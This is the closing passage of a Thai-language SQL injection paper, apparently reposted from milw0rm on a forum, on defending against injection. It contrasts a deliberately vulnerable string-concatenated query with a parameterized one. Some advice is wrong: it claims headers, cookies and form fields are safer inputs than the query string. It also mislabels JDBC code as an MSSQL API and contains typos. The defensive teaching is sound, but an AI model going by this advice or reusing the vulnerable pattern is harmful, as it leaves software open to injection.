########################################
[0x06] - SQL Injection Countermeasures
########################################
          สาเหตุหลักของความเสี่ยงที่จะโดน sql injection นั้นมาจากการตรวจสอบ input ที่ไม่ดีพอ นักพัฒนาจำนวนมากใม่ใช้กลไกลที่เหมาะสมเพื่อตรวจสอบทุก input attacker ใช้จุดนี้เป็นประโยชน์ในการเข้าไปยังฐานข้อมูล โดยมีวิธีป้องกันความเสี่ยงดังนี้

- ใช้ whilelist input : เนื่องจากไม่สามารถรู้ได้เลยว่า input ใดเป็น input ที่ไม่ดี ดังนั้นวิธีที่มีประสิทธิภาพกว่าคือเลือกเฉพาะ input ที่เรารู้จักให้ทำงานเท่านั้น
- ตรวจสอบชนิดของ input : ในบางกรณี attacker จงใจใส่ข้อมูลให้ไม่ถูกชนิดเพื่อต้องการให้เกิด error
- หลีกเลี่ยงการใช้ metacharactor : ใช้ / แทนการใช้ metacharactor
- อย่าสนใจ input ทุกทาง : เนื่องจาก attacker สามารถจัดการแก้ไข input ให้กลายเป็น exploit sql vulnerability ดังนั้นอย่าไปสนใจ input ที่มาจาก query string ให้รับจาก header cookie และ form จะดีกว่า
- ใช้ Parameterize ในการค้นหา : MSSQL มี API สำหรับจัดการ Input ซึ่งจะช่วยป้องกัน sql injection ซึ่งกระบวนการนี้เรียกว่า Parameterized Queries

เช่น

//define the query structure
string queryText = "select ename,sak from emp where ename ='";

//concatenate the user-supplied name
queryText += request.getParameter("name");
queryText += "'";

//execute the query
stmt = con.createStatement();
rs = stmt.executeQuery(queryText);

          จะมีช่องโหว่ sql injection ควรแก้โดยใช้ API ของ MSSQL

//define the query structure
String queryText = "select ename,sal from emp where ename = ?";

//prepare the statement through DB connection "con"
stmt = con.prepareStatement(queryText);

//add the user input to variable 1 (at the first ? placeholder)
stmt.setSting(1, request.getParameter("name"));

//execute the query
rs = stmt.executeQuery();

 

 

#####################
[0x07] - อ้างอิง
#####################

[1] Error based SQL injection - a true story: AnalyseR
[2] Advanced SQL Injection In SQL Server Applications: Chris Anley
[3] ASCII Encoded/Binary String Automated SQL Injection Attack: Michael Zino
[4] http://pentestmonkey.net
[5] http://www.owasp.org
[6] http://www.milw0rm.com

 

####################
[0x08] - Greetz To
####################

Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com

----------------------------------------------------
This paper is written for Educational purpose only. The authors are not responsible for any damage
originating from using this paper in wrong objective. If you want to use this knowledge with other person systems,
you must request for consent from system owner before
----------------------------------------------------

# milw0rm.com [2009-01-29]

at0m
User offline. Last seen 5 weeks 2 hours ago. Offline
Joined: 12/18/2009

ขอบคุณครับ 

Pe3z
Pe3z's picture
User offline. Last seen 3 weeks 6 days ago. Offline
Joined: 12/30/2009

ละเอียดมากครับ

 

:]